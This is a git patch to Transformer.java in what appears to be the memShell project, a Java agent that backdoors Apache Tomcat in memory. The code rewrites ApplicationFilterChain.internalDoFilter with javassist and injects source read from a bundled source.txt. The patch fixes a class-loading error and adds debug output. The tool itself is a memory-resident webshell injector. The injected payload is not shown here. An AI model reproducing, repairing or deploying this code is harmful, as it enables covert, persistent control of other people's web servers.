From b3499fc0870bb21d20ecb3c1d4c7fb0fb01811d0 Mon Sep 17 00:00:00 2001 From: rebeyond <5929401@qq.com> Date: Wed, 13 Jun 2018 22:45:41 -0700 Subject: [PATCH] fix the bug: javassist.NotFoundException: org.apache.catalina.core.ApplicationFilterChain --- src/net/rebeyond/memshell/Transformer.java | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) mode change 100644 => 100755 src/net/rebeyond/memshell/Transformer.java diff --git a/src/net/rebeyond/memshell/Transformer.java b/src/net/rebeyond/memshell/Transformer.java old mode 100644 new mode 100755 index 0ed531b..4ce686e --- a/src/net/rebeyond/memshell/Transformer.java +++ b/src/net/rebeyond/memshell/Transformer.java @@ -8,6 +8,7 @@ import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain; +import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; @@ -19,8 +20,9 @@ public class Transformer implements ClassFileTransformer{ if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)) { try { - Class a=Class.forName("javassist.CtClass"); ClassPool cp = ClassPool.getDefault(); + ClassClassPath classPath = new ClassClassPath(aClass); + cp.insertClassPath(classPath); CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain"); CtMethod m = cc.getDeclaredMethod("internalDoFilter"); m.addLocalVariable("elapsedTime", CtClass.longType); @@ -29,6 +31,7 @@ public class Transformer implements ClassFileTransformer{ cc.detach(); return byteCode; } catch (Exception ex) { + ex.printStackTrace(); System.out.println("error:::::"+ex.getMessage()); } } @@ -38,6 +41,8 @@ public class Transformer implements ClassFileTransformer{ public String readSource() { StringBuilder source=new StringBuilder(); InputStream is = Transformer.class.getClassLoader().getResourceAsStream("source.txt"); + System.out.println(Transformer.class.getClassLoader()); + System.out.println(Transformer.class.getClassLoader().getResource("source.txt").getPath()); InputStreamReader isr = new InputStreamReader(is); String line=null; try {